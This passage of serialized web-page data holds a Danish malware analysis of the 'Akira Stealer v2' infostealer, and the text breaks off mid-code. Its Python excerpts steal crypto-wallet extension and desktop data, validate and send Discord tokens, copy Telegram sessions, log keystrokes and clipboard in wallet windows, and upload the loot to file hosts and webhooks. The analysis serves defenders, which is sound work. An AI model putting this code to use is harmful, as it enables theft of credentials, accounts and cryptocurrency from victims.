CreditCards.txt\n    │   └── …\n    ├── History\\\n    │   ├── Chrome History.txt\n    │   └── …\n    ├── Autofill\\\n    │   ├── Chrome Autofill.txt\n    │   └── …\n    └── Wallets\\\n        ├── Firefox_Default_profiles.zip\n        ├── Firefox_Profile1_profiles.zip\n        └── …\n",[551,7631,7629],{"__ignoreMap":594},[604,7633,7634,7648,7654],{},[607,7635,7636,7637,7640,7641,7644,7645,2044],{},"Hver ",[551,7638,7639],{},".txt","-fil begynder med en fast header (",[551,7642,7643],{},"\u003C================[Akira Stealer v2]>================>",") og en skillelinje (",[551,7646,7647],{},"====…====",[607,7649,7650,7651,586],{},"ZIP-filen på disken: ",[551,7652,7653],{},"%TEMP%\\\u003CComputerName>.zip",[607,7655,7656,7657,586],{},"Filnavnsetiketten til C&C: ",[551,7658,7659],{},"Akira-\u003Cusername>.zip",[533,7661,7662],{},[540,7663,7664],{},"5. Eksfiltrering og oprydning",[588,7666,7668],{"className":4494,"code":7667,"language":4496,"meta":594,"style":594},"url = Webhook.uploadToGofile(zip_path)\nif not url:\n    url = Webhook.uploadFileio(zip_path) or Webhook.uploadToOshiAt(zip_path)\nWebhook.sendDataTG(zip_path, chatId, startup)\nUtils.clear_client_folder()\n",[551,7669,7670,7675,7680,7685,7690],{"__ignoreMap":594},[1683,7671,7672],{"class":1685,"line":1686},[1683,7673,7674],{},"url = Webhook.uploadToGofile(zip_path)\n",[1683,7676,7677],{"class":1685,"line":2062},[1683,7678,7679],{},"if not url:\n",[1683,7681,7682],{"class":1685,"line":2068},[1683,7683,7684],{},"    url = Webhook.uploadFileio(zip_path) or Webhook.uploadToOshiAt(zip_path)\n",[1683,7686,7687],{"class":1685,"line":2074},[1683,7688,7689],{},"Webhook.sendDataTG(zip_path, chatId, startup)\n",[1683,7691,7692],{"class":1685,"line":2395},[1683,7693,7694],{},"Utils.clear_client_folder()\n",[604,7696,7697,7707,7721,7739],{},[607,7698,7699,7702,7703,7706],{},[540,7700,7701],{},"Den primære kanal (GoFile.io):"," Malwaren forsøger først at uploade ZIP-arkivet med alle de stjålne artefakter til GoFile.io og læser JSON-svaret for at finde en ",[551,7704,7705],{},"downloadPage","-URL, der giver angriberen direkte adgang til arkivet.",[607,7708,7709,7712,7713,7716,7717,7720],{},[540,7710,7711],{},"Automatiske fallbacks:"," Skulle GoFile-endpointet fejle, for eksempel på grund af timeout i netværket eller rate limiting, falder koden uden videre tilbage på ",[551,7714,7715],{},"file.io",", og returnerer den også et tomt link, til sidst på ",[551,7718,7719],{},"oshi.at",". Begge alternativer kaldes uden at kaste exceptions, så en af de tre tjenester altid bliver forsøgt i rækkefølge.",[607,7722,7723,7726,7727,7730,7731,7734,7735,7738],{},[540,7724,7725],{},"Rapportering via webhook:"," Når en URL er fastlagt, eller en tom streng ved vedvarende fejl, kaldes ",[551,7728,7729],{},"Webhook.sendDataTG(...)",", der pakker downloadlinket, maskinidentifikatorerne (",[551,7732,7733],{},"chatId",", flaget ",[551,7736,7737],{},"startup",") og alle kategoritællinger (adgangskoder, cookies, autofyld, wallets) sammen i én enkelt Discord- eller Telegram-besked.",[607,7740,7741,7744,7745,7748],{},[540,7742,7743],{},"Øjeblikkelig oprydning:"," Efter rapporteringen sletter ",[551,7746,7747],{},"Utils.clear_client_folder()"," rekursivt hele det midlertidige arbejdsområde og selve ZIP-filen, så der ikke efterlades spor af de høstede data eller arkivet på disken.",[820,7750,7751,7756],{},[533,7752,7753],{},[540,7754,7755],{},"Robusthed over for fejl:",[604,7757,7758,7765],{},[607,7759,7760,7761,7764],{},"Alle uploadrutiner returnerer ",[551,7762,7763],{},"\"\""," ved fejl i stedet for at kaste en exception, hvilket garanterer, at kodeflowet fortsætter.",[607,7766,7767],{},"Selv hvis ingen af tjenesterne kan nås, sender malwaren stadig en webhook-rapport, om end med et manglende link, før de lokale artefakter slettes. Det minimerer de forensiske rester, medmindre processen crasher uventet.",[826,7769],{"className":7770},[829,830],[533,7772,7773],{},[540,7774,7775],{},"6. Robusthed og fejlhåndtering",[604,7777,7778,7796,7802,7811],{},[607,7779,7780,7783,7784,7787,7788,7791,7792,7795],{},[540,7781,7782],{},"Finkornet håndtering af exceptions:"," Hver interaktion med filsystemet, om det er ",[551,7785,7786],{},"shutil.copy",", SQLite-forespørgsler eller ZIP-operationer, er pakket ind i ",[551,7789,7790],{},"try/except","-blokke. Opstår der en fejl, for eksempel en låst database, nægtet adgang eller en beskadiget post, fanges exceptionen og logges via ",[551,7793,7794],{},"Akira.logErrorTg()",", og kørslen fortsætter. Det isolerer fejlen til netop den fil eller det modul.",[607,7797,7798,7801],{},[540,7799,7800],{},"Trådisolering pr. browser:"," Udtræksrutinerne for hver understøttet browser kører i deres egen tråd. Det flertrådede design sikrer, at et crash eller et deadlock i én browsers udtræk, for eksempel en beskadiget profil eller en manglende nøgle, ikke standser eller forsinker analysen af de øvrige browsere.",[607,7803,7804,7807,7808,7810],{},[540,7805,7806],{},"Lydløse fallbacks og standardværdier:"," Mange hjælperutiner, for eksempel upload til alternative filværter, tjek af eksterne ressourcer eller start af underprocesser, bruger indlejrede ",[551,7809,7790],{},"-blokke uden synlige advarsler, og det maksimerer stealth. Standardværdierne, tomme strenge og booleans, er valgt for at holde flowet uforstyrret og fjerne åbenlyse fejltilstande.",[607,7812,7813,7816,7817,7820,7821,7824],{},[540,7814,7815],{},"Mutex og beskyttelse ved opstart:"," En navngiven mutex (",[551,7818,7819],{},"1qsMlseJplTlArIF14f",") forhindrer flere instanser, mens registry-tjek og ",[551,7822,7823],{},"Utils.CreateMutex()"," beskytter mod samtidige kørsler og giver ekstra stabilitet i praktisk brug.",[714,7826,7828],{"id":7827},"_78-eksfiltrering-af-wallets-og-tokens","7.8 Eksfiltrering af wallets og tokens",[533,7830,720],{},[533,7832,7833],{},"I denne fase gennemfører Akira Stealer v2 sin mest omfattende gennemsøgning efter kryptovaluta-loginoplysninger og sessionstokens, og den dækker browserudvidelser, desktop-wallets, tokens fra beskedtjenester og keylogging i realtid. Den kører i parallelle tråde, så ingen vektor bliver overset. Nedenfor følger en dybdegående gennemgang trin for trin med kodeeksempler.",[861,7835,7837],{"id":7836},"_781-wallets-som-browserudvidelser","7.8.1 Wallets som browserudvidelser",[533,7839,867],{},[533,7841,7842,7845],{},[540,7843,7844],{},"Mål:"," Over 80 udvidelser i udbredte browsere, heriblandt MetaMask, Phantom, Trust Wallet, Coinbase Wallet, Solflare, Exodus, Binance Chain Wallet, Keplr, Nami, TronLink, Rabby, Talisman og flere.",[588,7847,7849],{"className":4494,"code":7848,"language":4496,"meta":594,"style":594},"# Hardcoded list of extension IDs and human-friendly names\nwalletsExtensions = [\n    [\"MetaMask\",        \"nkbihfbeogaeaoehlefnkodbefgpgknn\"],\n    [\"Phantom\",         \"bfnaelmomeimhlpmgjnjophhpkkoljpa\"],\n    [\"TrustWallet\",     \"egjidjbpglichdcondbcbdnbeeppgdph\"],\n    [\"CoinbaseWallet\",  \"hfhmhopkfngkjcalldmaepmpilmjjemb\"],\n    [\"Solflare\",        \"bhhhlbepdkbapadjdnnojkbgioiodbic\"],\n    [\"BinanceChain\",    \"fhbohimaelbohpjbbldcngcnapndodjp\"],\n    [\"Keplr\",           \"dmkamcknogkgcdfhhbddcghachkejeap\"],\n    [\"Nami\",            \"lpfcbjknijpeeillifnkikgncikgfhdo\"],\n    [\"Talisman\",        \"fijngjgcjhjmmpcmkeiomlglpeiijkld\"],\n    [\"TronLink\",        \"ibnejdfjmmkpcnlpebklmnkoeoihofec\"],\n    # ... plus dozens more mapped in code\n]\n# Extraction loop for each browser profile\nfor browser_name, (user_data, proc_name) in paths.items():\n    base = os.path.join(user_data, \"Default\", \"Local Extension Settings\")\n    for ext_name, ext_id in walletsExtensions:\n        src = os.path.join(base, ext_id)\n        if os.path.isdir(src):\n            dest = os.path.join(Utils.get_temp_folder(), \"Wallets\", f\"{ext_name}_{browser_name}\")\n            shutil.copytree(src, dest, dirs_exist_ok=True)\n            data.ext_wallets_count += 1\n",[551,7850,7851,7856,7861,7866,7871,7876,7881,7886,7891,7896,7901,7906,7911,7916,7921,7926,7931,7936,7941,7946,7951,7956,7961],{"__ignoreMap":594},[1683,7852,7853],{"class":1685,"line":1686},[1683,7854,7855],{},"# Hardcoded list of extension IDs and human-friendly names\n",[1683,7857,7858],{"class":1685,"line":2062},[1683,7859,7860],{},"walletsExtensions = [\n",[1683,7862,7863],{"class":1685,"line":2068},[1683,7864,7865],{},"    [\"MetaMask\",        \"nkbihfbeogaeaoehlefnkodbefgpgknn\"],\n",[1683,7867,7868],{"class":1685,"line":2074},[1683,7869,7870],{},"    [\"Phantom\",         \"bfnaelmomeimhlpmgjnjophhpkkoljpa\"],\n",[1683,7872,7873],{"class":1685,"line":2395},[1683,7874,7875],{},"    [\"TrustWallet\",     \"egjidjbpglichdcondbcbdnbeeppgdph\"],\n",[1683,7877,7878],{"class":1685,"line":2401},[1683,7879,7880],{},"    [\"CoinbaseWallet\",  \"hfhmhopkfngkjcalldmaepmpilmjjemb\"],\n",[1683,7882,7883],{"class":1685,"line":3060},[1683,7884,7885],{},"    [\"Solflare\",        \"bhhhlbepdkbapadjdnnojkbgioiodbic\"],\n",[1683,7887,7888],{"class":1685,"line":3857},[1683,7889,7890],{},"    [\"BinanceChain\",    \"fhbohimaelbohpjbbldcngcnapndodjp\"],\n",[1683,7892,7893],{"class":1685,"line":3863},[1683,7894,7895],{},"    [\"Keplr\",           \"dmkamcknogkgcdfhhbddcghachkejeap\"],\n",[1683,7897,7898],{"class":1685,"line":4108},[1683,7899,7900],{},"    [\"Nami\",            \"lpfcbjknijpeeillifnkikgncikgfhdo\"],\n",[1683,7902,7903],{"class":1685,"line":5030},[1683,7904,7905],{},"    [\"Talisman\",        \"fijngjgcjhjmmpcmkeiomlglpeiijkld\"],\n",[1683,7907,7908],{"class":1685,"line":5036},[1683,7909,7910],{},"    [\"TronLink\",        \"ibnejdfjmmkpcnlpebklmnkoeoihofec\"],\n",[1683,7912,7913],{"class":1685,"line":5042},[1683,7914,7915],{},"    # ... plus dozens more mapped in code\n",[1683,7917,7918],{"class":1685,"line":5048},[1683,7919,7920],{},"]\n",[1683,7922,7923],{"class":1685,"line":5054},[1683,7924,7925],{},"# Extraction loop for each browser profile\n",[1683,7927,7928],{"class":1685,"line":5060},[1683,7929,7930],{},"for browser_name, (user_data, proc_name) in paths.items():\n",[1683,7932,7933],{"class":1685,"line":5066},[1683,7934,7935],{},"    base = os.path.join(user_data, \"Default\", \"Local Extension Settings\")\n",[1683,7937,7938],{"class":1685,"line":5072},[1683,7939,7940],{},"    for ext_name, ext_id in walletsExtensions:\n",[1683,7942,7943],{"class":1685,"line":5078},[1683,7944,7945],{},"        src = os.path.join(base, ext_id)\n",[1683,7947,7948],{"class":1685,"line":5084},[1683,7949,7950],{},"        if os.path.isdir(src):\n",[1683,7952,7953],{"class":1685,"line":5090},[1683,7954,7955],{},"            dest = os.path.join(Utils.get_temp_folder(), \"Wallets\", f\"{ext_name}_{browser_name}\")\n",[1683,7957,7958],{"class":1685,"line":5096},[1683,7959,7960],{},"            shutil.copytree(src, dest, dirs_exist_ok=True)\n",[1683,7962,7963],{"class":1685,"line":5102},[1683,7964,7965],{},"            data.ext_wallets_count += 1\n",[604,7967,7968,7974],{},[607,7969,7970,7973],{},[540,7971,7972],{},"Kopierede filer",": Udvidelsesspecifikke IndexedDB-, LevelDB-, JSON- og konfigurationsfiler, der indeholder krypterede nøgler, seed-sætninger og loginoplysninger.",[607,7975,7976,972,7979,620,7982,7985],{},[540,7977,7978],{},"Resultatmappen",[551,7980,7981],{},"Wallets/MetaMask_Chrome/",[551,7983,7984],{},"Wallets/Phantom_Edge/"," med flere.",[861,7987,7989],{"id":7988},"_782-desktop-wallets","7.8.2 Desktop-wallets",[533,7991,867],{},[533,7993,7994,7996],{},[540,7995,7844],{}," Store desktopklienter som Electrum, Exodus, Atomic Wallet, Guarda, Rabby, Coinomi, Zcash, Armory, Bytecoin, Jaxx, Coinomi med flere.",[588,7998,8000],{"className":4494,"code":7999,"language":4496,"meta":594,"style":594},"walletsDesktop = [\n    [\"Electrum\",     os.path.join(os.getenv('APPDATA'), \"Electrum\", \"wallets\")],\n    [\"Exodus\",       os.path.join(os.getenv('APPDATA'), \"Exodus\", \"exodus.wallet\")],\n    [\"AtomicWallet\", os.path.join(os.getenv('LOCALAPPDATA'), \"atomic\", \"Local Storage\", \"leveldb\")],\n    [\"Guarda\",       os.path.join(os.getenv('APPDATA'), \"Guarda\", \"Local Storage\", \"leveldb\")],\n    [\"Rabby\",        os.path.join(os.getenv('APPDATA'), \"rabby-desktop\")],\n    [\"Coinomi\",      os.path.join(os.getenv('APPDATA'), \"Coinomi\", \"wallets\")],\n]\nfor name, path in walletsDesktop:\n    if os.path.isdir(path):\n        Utils.TaskKill(name.lower())\n        dest = os.path.join(Utils.get_temp_folder(), \"Wallets\", name)\n        shutil.copytree(path, dest, dirs_exist_ok=True)\n        data.desktop_wallets_count += 1\n",[551,8001,8002,8007,8012,8017,8022,8027,8032,8037,8041,8046,8051,8056,8061,8066],{"__ignoreMap":594},[1683,8003,8004],{"class":1685,"line":1686},[1683,8005,8006],{},"walletsDesktop = [\n",[1683,8008,8009],{"class":1685,"line":2062},[1683,8010,8011],{},"    [\"Electrum\",     os.path.join(os.getenv('APPDATA'), \"Electrum\", \"wallets\")],\n",[1683,8013,8014],{"class":1685,"line":2068},[1683,8015,8016],{},"    [\"Exodus\",       os.path.join(os.getenv('APPDATA'), \"Exodus\", \"exodus.wallet\")],\n",[1683,8018,8019],{"class":1685,"line":2074},[1683,8020,8021],{},"    [\"AtomicWallet\", os.path.join(os.getenv('LOCALAPPDATA'), \"atomic\", \"Local Storage\", \"leveldb\")],\n",[1683,8023,8024],{"class":1685,"line":2395},[1683,8025,8026],{},"    [\"Guarda\",       os.path.join(os.getenv('APPDATA'), \"Guarda\", \"Local Storage\", \"leveldb\")],\n",[1683,8028,8029],{"class":1685,"line":2401},[1683,8030,8031],{},"    [\"Rabby\",        os.path.join(os.getenv('APPDATA'), \"rabby-desktop\")],\n",[1683,8033,8034],{"class":1685,"line":3060},[1683,8035,8036],{},"    [\"Coinomi\",      os.path.join(os.getenv('APPDATA'), \"Coinomi\", \"wallets\")],\n",[1683,8038,8039],{"class":1685,"line":3857},[1683,8040,7920],{},[1683,8042,8043],{"class":1685,"line":3863},[1683,8044,8045],{},"for name, path in walletsDesktop:\n",[1683,8047,8048],{"class":1685,"line":4108},[1683,8049,8050],{},"    if os.path.isdir(path):\n",[1683,8052,8053],{"class":1685,"line":5030},[1683,8054,8055],{},"        Utils.TaskKill(name.lower())\n",[1683,8057,8058],{"class":1685,"line":5036},[1683,8059,8060],{},"        dest = os.path.join(Utils.get_temp_folder(), \"Wallets\", name)\n",[1683,8062,8063],{"class":1685,"line":5042},[1683,8064,8065],{},"        shutil.copytree(path, dest, dirs_exist_ok=True)\n",[1683,8067,8068],{"class":1685,"line":5048},[1683,8069,8070],{},"        data.desktop_wallets_count += 1\n",[604,8072,8073,8086],{},[607,8074,8075,8078,8079,620,8082,8085],{},[540,8076,8077],{},"Stjålne data",": Keystore-filer (",[551,8080,8081],{},"*.dat",[551,8083,8084],{},"*.json","), eksporterede private nøgler, wallet-konfiguration og transaktionshistorik.",[607,8087,8088,8091],{},[540,8089,8090],{},"Udbyttet",": Wallet-indhold offline, som angriberen kan bruge til at godkende transaktioner.",[861,8093,8095],{"id":8094},"_783-høst-af-discord-tokens","7.8.3 Høst af Discord-tokens",[533,8097,867],{},[533,8099,8100],{},"Discord-tokens er autentificeringsartefakter, i praksis langlivede bearer-tokens, der kan give fuld adgang til en brugers konto uden loginoplysninger eller MFA. Det udnytter Akira ved at scanne browser- og appdatamapper for tokens, som forskellige Discord-klienter har gemt, blandt andre Discord Stable, Canary, PTB (Public Test Build) og endda modificerede forks som Lightcord.",[533,8102,8103],{},"Teknikken går efter LevelDB-filer under applikationens Local Storage, hvor autentificeringstokens ofte ligger i klartekst. Ved hjælp af regulære udtryk scanner malwaren disse .log- og .ldb-filer for mønstre, der matcher enten almindelige brugertokens eller MFA-aktiverede tokens.",[533,8105,8106],{},"For at øge pålideligheden og mindske støjen har Akira et valideringstrin: den sender en testforespørgsel til Discords endpoint /users/@me med hvert høstet token. Kun tokens, der autentificerer korrekt (HTTP 200), bliver eksfiltreret via webhook, typisk til en Discord-kanal under angriberens kontrol.",[533,8108,8109],{},"Metoden gør det muligt for angribere at kapre Discord-konti i realtid, udgive sig for offeret, skrabe DM'er og guilds eller sprede yderligere malware gennem social engineering, alt uden at udløse advarsler om nye logins.",[588,8111,8113],{"className":4494,"code":8112,"language":4496,"meta":594,"style":594},"import re, requests\npatterns = [\n    r\"[\\w-]{24}\\.[\\w-]{6}\\.[\\w-]{27,100}\",  # User tokens\n    r\"mfa\\.[\\w-]{84,100}\"                      # MFA tokens\n]\ndef harvest_discord(base, webhook_url):\n    db_dir = os.path.join(base, \"Local Storage\", \"leveldb\")\n    for file in os.listdir(db_dir):\n        if file.endswith(('.log', '.ldb')):\n            for line in open(os.path.join(db_dir, file), errors='ignore'):\n                for pat in patterns:\n                    for token in re.findall(pat, line):\n                        # Verify token\n                        h = {\"Authorization\": token}\n                        r = requests.get(\"https://discordapp.com/api/v9/users/@me\", headers=h)\n                        if r.status_code == 200:\n                            uname = r.json()[\"username\"] + \"#\" + r.json()[\"discriminator\"]\n                            payload = {\"content\": f\"**Discord** {uname}: `{token}`\"}\n                            requests.post(webhook_url, json=payload)\n",[551,8114,8115,8120,8125,8130,8135,8139,8144,8149,8154,8159,8164,8169,8174,8179,8184,8189,8194,8199,8204],{"__ignoreMap":594},[1683,8116,8117],{"class":1685,"line":1686},[1683,8118,8119],{},"import re, requests\n",[1683,8121,8122],{"class":1685,"line":2062},[1683,8123,8124],{},"patterns = [\n",[1683,8126,8127],{"class":1685,"line":2068},[1683,8128,8129],{},"    r\"[\\w-]{24}\\.[\\w-]{6}\\.[\\w-]{27,100}\",  # User tokens\n",[1683,8131,8132],{"class":1685,"line":2074},[1683,8133,8134],{},"    r\"mfa\\.[\\w-]{84,100}\"                      # MFA tokens\n",[1683,8136,8137],{"class":1685,"line":2395},[1683,8138,7920],{},[1683,8140,8141],{"class":1685,"line":2401},[1683,8142,8143],{},"def harvest_discord(base, webhook_url):\n",[1683,8145,8146],{"class":1685,"line":3060},[1683,8147,8148],{},"    db_dir = os.path.join(base, \"Local Storage\", \"leveldb\")\n",[1683,8150,8151],{"class":1685,"line":3857},[1683,8152,8153],{},"    for file in os.listdir(db_dir):\n",[1683,8155,8156],{"class":1685,"line":3863},[1683,8157,8158],{},"        if file.endswith(('.log', '.ldb')):\n",[1683,8160,8161],{"class":1685,"line":4108},[1683,8162,8163],{},"            for line in open(os.path.join(db_dir, file), errors='ignore'):\n",[1683,8165,8166],{"class":1685,"line":5030},[1683,8167,8168],{},"                for pat in patterns:\n",[1683,8170,8171],{"class":1685,"line":5036},[1683,8172,8173],{},"                    for token in re.findall(pat, line):\n",[1683,8175,8176],{"class":1685,"line":5042},[1683,8177,8178],{},"                        # Verify token\n",[1683,8180,8181],{"class":1685,"line":5048},[1683,8182,8183],{},"                        h = {\"Authorization\": token}\n",[1683,8185,8186],{"class":1685,"line":5054},[1683,8187,8188],{},"                        r = requests.get(\"https://discordapp.com/api/v9/users/@me\", headers=h)\n",[1683,8190,8191],{"class":1685,"line":5060},[1683,8192,8193],{},"                        if r.status_code == 200:\n",[1683,8195,8196],{"class":1685,"line":5066},[1683,8197,8198],{},"                            uname = r.json()[\"username\"] + \"#\" + r.json()[\"discriminator\"]\n",[1683,8200,8201],{"class":1685,"line":5072},[1683,8202,8203],{},"                            payload = {\"content\": f\"**Discord** {uname}: `{token}`\"}\n",[1683,8205,8206],{"class":1685,"line":5078},[1683,8207,8208],{},"                            requests.post(webhook_url, json=payload)\n",[604,8210,8211],{},[607,8212,8213,8216],{},[540,8214,8215],{},"Validering",": Sender kun gyldige tokens, hvilket forhindrer, at forældede JWT'er sendes afsted.",[861,8218,8220],{"id":8219},"_784-telegram-sessionsfiler","7.8.4 Telegram-sessionsfiler",[533,8222,867],{},[533,8224,8225,8227],{},[540,8226,7844],{}," Telegram Desktop/TData",[588,8229,8231],{"className":4494,"code":8230,"language":4496,"meta":594,"style":594},"def steal_telegram(tdata_path, dest_root):\n    if os.path.exists(tdata_path):\n        Utils.TaskKill(\"telegram.exe\")\n        dest = os.path.join(dest_root, \"Wallets\", \"Telegram\")\n        shutil.copytree(tdata_path, dest, dirs_exist_ok=True)\n        data.has_telegram = True\n",[551,8232,8233,8238,8243,8248,8253,8258],{"__ignoreMap":594},[1683,8234,8235],{"class":1685,"line":1686},[1683,8236,8237],{},"def steal_telegram(tdata_path, dest_root):\n",[1683,8239,8240],{"class":1685,"line":2062},[1683,8241,8242],{},"    if os.path.exists(tdata_path):\n",[1683,8244,8245],{"class":1685,"line":2068},[1683,8246,8247],{},"        Utils.TaskKill(\"telegram.exe\")\n",[1683,8249,8250],{"class":1685,"line":2074},[1683,8251,8252],{},"        dest = os.path.join(dest_root, \"Wallets\", \"Telegram\")\n",[1683,8254,8255],{"class":1685,"line":2395},[1683,8256,8257],{},"        shutil.copytree(tdata_path, dest, dirs_exist_ok=True)\n",[1683,8259,8260],{"class":1685,"line":2401},[1683,8261,8262],{},"        data.has_telegram = True\n",[604,8264,8265,8279],{},[607,8266,8267,8270,8271,8274,8275,8278],{},[540,8268,8269],{},"Filer",": Mappen ",[551,8272,8273],{},"tdata"," med sessionsnøgler og mappen ",[551,8276,8277],{},"D877F..."," med secret- og unsecret-filer.",[607,8280,8281,8284],{},[540,8282,8283],{},"Anvendelse",": Indlæses i angriberens Telegram-klient og giver fuld adgang til kontoen.",[861,8286,8288],{"id":8287},"_785-keylogging-af-wallets-i-realtid","7.8.5 Keylogging af wallets i realtid",[533,8290,867],{},[533,8292,8293],{},"Kryptowallets er et af de mest attraktive mål for moderne infostealere. Akira rummer en keylogger, der kører i realtid og er skræddersyet til at stjæle wallet-loginoplysninger som seed-sætninger, private nøgler og adgangskoder i det øjeblik, de tastes ind. Til forskel fra generiske keyloggere aktiveres denne kun, når der registreres et kendt wallet-vindue, og det reducerer støjen markant og øger effektiviteten.",[533,8295,8296],{},"Modulet overvåger titlerne på aktive vinduer og sammenligner dem med en hardkodet liste over udbredte wallet-apps som MetaMask, Phantom, Atomic Wallet og andre. Så snart et matchende vindue har fokus, begynder den at optage tastetryk via systemomfattende tastaturhooks. Når brugeren trykker på Enter, opsnapper modulet med det samme indholdet af udklipsholderen, for brugere kopierer ofte hemmeligheder, når de opsætter eller logger ind på en wallet, og sender både det indtastede og udklipsdataene til angriberens webhook. Metoden er ekstremt effektiv, fordi den kombinerer to angrebsvektorer:",[604,8298,8299,8302],{},[607,8300,8301],{},"Kontekstbevidst keylogging, der kun opsnapper følsomme wallet-input, når det er relevant.",[607,8303,8304],{},"Kapring af udklipsholderen, der udtrækker kopierede recovery-sætninger eller modtageradresser, før de indsættes.",[533,8306,8307],{},"Tilsammen gør metoderne det muligt for angribere lydløst at kompromittere wallets i realtid, selv uden adgang til browseren eller eksfiltrering af filer.",[588,8309,8311],{"className":4494,"code":8310,"language":4496,"meta":594,"style":594},"import keyboard, pyperclip\n\nclass WalletKeylogger:\n    def __init__(self, wallet_titles):\n        self.buf = \"\"\n        keyboard.on_release(self.capture)\n        self.wallet_titles = wallet_titles\n\n    def capture(self, event):\n        title = pygetwindow.getActiveWindow().title\n        if any(w in title for w in self.wallet_titles):\n            if event.name == 'enter':\n                data = f\"Keys:{self.buf}\\nClip:{pyperclip.paste()}\"\n                send_to_webhook(data)\n                self.buf = \"\"\n            else:\n                self.buf += event.name\n",[551,8312,8313,8318,8322,8327,8332,8337,8342,8347,8351,8356,8361,8366,8371,8376,8381,8386,8391],{"__ignoreMap":594},[1683,8314,8315],{"class":1685,"line":1686},[1683,8316,8317],{},"import keyboard, pyperclip\n",[1683,8319,8320],{"class":1685,"line":2062},[1683,8321,3854],{"emptyLinePlaceholder":325},[1683,8323,8324],{"class":1685,"line":2068},[1683,8325,8326],{},"class WalletKeylogger:\n",[1683,8328,8329],{"class":1685,"line":2074},[1683,8330,8331],{},"    def __init__(self, wallet_titles):\n",[1683,8333,8334],{"class":1685,"line":2395},[1683,8335,8336],{},"        self.buf = \"\"\n",[1683,8338,8339],{"class":1685,"line":2401},[1683,8340,8341],{},"        keyboard.on_release(self.capture)\n",[1683,8343,8344],{"class":1685,"line":3060},[1683,8345,8346],{},"        self.wallet_titles = wallet_titles\n",[1683,8348,8349],{"class":1685,"line":3857},[1683,8350,3854],{"emptyLinePlaceholder":325},[1683,8352,8353],{"class":1685,"line":3863},[1683,8354,8355],{},"    def capture(self, event):\n",[1683,8357,8358],{"class":1685,"line":4108},[1683,8359,8360],{},"        title = pygetwindow.getActiveWindow().title\n",[1683,8362,8363],{"class":1685,"line":5030},[1683,8364,8365],{},"        if any(w in title for w in self.wallet_titles):\n",[1683,8367,8368],{"class":1685,"line":5036},[1683,8369,8370],{},"            if event.name == 'enter':\n",[1683,8372,8373],{"class":1685,"line":5042},[1683,8374,8375],{},"                data = f\"Keys:{self.buf}\\nClip:{pyperclip.paste()}\"\n",[1683,8377,8378],{"class":1685,"line":5048},[1683,8379,8380],{},"                send_to_webhook(data)\n",[1683,8382,8383],{"class":1685,"line":5054},[1683,8384,8385],{},"                self.buf = \"\"\n",[1683,8387,8388],{"class":1685,"line":5060},[1683,8389,8390],{},"            else:\n",[1683,8392,8393],{"class":1685,"line":5066},[1683,8394,8395],{},"                self.buf += event.name\n",[604,8397,8398,8404],{},[607,8399,8400,8403],{},[540,8401,8402],{},"Udløserlisten",": Vinduestitler, der blandt andet indeholder \"MetaMask\", \"Phantom\" og \"Atomic Wallet\".",[607,8405,8406,8409],{},[540,8407,8408],{},"Udklipsholderen",": Opsnapper kopierede seeds eller private nøgler.",[861,8411,8413],{"id":8412},"_786-pakning-og-eksfiltrering","7.8.6 Pakning og eksfiltrering",[533,8415,867],{},[533,8417,8418],{},"Når browserdata, loginoplysninger, wallet-oplysninger og tokens er indsamlet, går Akira videre med at samle byttet og eksfiltrere det på en gennemautomatiseret og lydløs måde. Trinnet er det sidste led i infektionskæden, og det er optimeret til pålidelighed og et minimalt forensisk fodaftryk. Først komprimeres alle indsamlede data, heriblandt browserdumps, logfiler og keyloggede wallet-oplysninger, til et ZIP-arkiv. Det sikrer, at hele datasættet kan overføres som én payload. Arkivet uploades derefter til flere offentlige fildelingstjenester som GoFile, File.io eller Oshi.at, afhængigt af hvad der er tilgængeligt. Platformene tilbyder anonym, midlertidig hosting og bruges ofte til at omgå firewalls i virksomheder eller blokering baseret på omdømme. Samtidig genereres en struktureret rapport, der sendes til angriberen via en Discord- eller Telegram-webhook. Den indeholder opsummerende statistik, altså hvor mange wallets der blev fundet, hvor mange tokens der var gyldige, og et direkte link til de stjålne data. Det giver angribere et hurtigt overblik over målets værdi uden at åbne arkivet.",[533,8420,8421],{},"Til sidst sletter malwaren den midlertidige mappe og arkivet fra disken og fjerner dermed i praksis de lokale forensiske beviser. Når en forsvarer opdager infektionen, er dataene allerede væk, og de er ofte ikke til at genfinde.",[588,8423,8425],{"className":4494,"code":8424,"language":4496,"meta":594,"style":594},"# 1) ZIP everything (including Wallets folder)\nzip_path = shutil.make_archive(Utils.get_temp_folder(), 'zip', Utils.get_temp_folder())\n# 2) Attempt upload to primary & fallback services\nurl = Webhook.uploadToGofile(zip_path) or Webhook.uploadFileio(zip_path) or Webhook.uploadToOshiAt(zip_path)\n# 3) Report summary\nembed = {\n    \"title\": \"💰 Wallet & Token Exfiltration Report\",\n    \"fields\": [\n        {\"name\": \"Extension Wallets\", \"value\": data.ext_wallets_count},\n        {\"name\": \"Desktop Wallets\",   \"value\": data.desktop_wallets_count},\n        {\"name\": \"Discord Tokens\",    \"value\": len(valid_tokens)},\n        {\"name\": \"Telegram Sessions\", \"value\": data.has_telegram},\n        {\"name\": \"Archive Link\",      \"value\": url or \"[upload failed]\"},\n    ]\n}\nWebhook.sendDataTG(Utils.get_temp_folder(), chatId, startup)\n# 4) Cleanup local folder & ZIP\nUtils.clear_client_folder()\n",[551,8426,8427,8432,8437,8442,8447,8452,8457,8462,8467,8472,8477,8482,8487,8492,8497,8501,8506,8511],{"__ignoreMap":594},[1683,8428,8429],{"class":1685,"line":1686},[1683,8430,8431],{},"# 1) ZIP everything (including Wallets folder)\n",[1683,8433,8434],{"class":1685,"line":2062},[1683,8435,8436],{},"zip_path = shutil.make_archive(Utils.get_temp_folder(), 'zip', Utils.get_temp_folder())\n",[1683,8438,8439],{"class":1685,"line":2068},[1683,8440,8441],{},"# 2) Attempt upload to primary & fallback services\n",[1683,8443,8444],{"class":1685,"line":2074},[1683,8445,8446],{},"url = Webhook.uploadToGofile(zip_path) or Webhook.uploadFileio(zip_path) or Webhook.uploadToOshiAt(zip_path)\n",[1683,8448,8449],{"class":1685,"line":2395},[1683,8450,8451],{},"# 3) Report summary\n",[1683,8453,8454],{"class":1685,"line":2401},[1683,8455,8456],{},"embed = {\n",[1683,8458,8459],{"class":1685,"line":3060},[1683,8460,8461],{},"    \"title\": \"💰 Wallet & Token Exfiltration Report\",\n",[1683,8463,8464],{"class":1685,"line":3857},[1683,8465,8466],{},"    \"fields\": [\n",[1683,8468,8469],{"class":1685,"line":3863},[1683,8470,8471],{},"        {\"name\": \"Extension Wallets\", \"value\": data.ext_wallets_count},\n",[1683,8473,8474],{"class":1685,"line":4108},[1683,8475,8476],{},"        {\"name\": \"Desktop Wallets\",   \"value\": 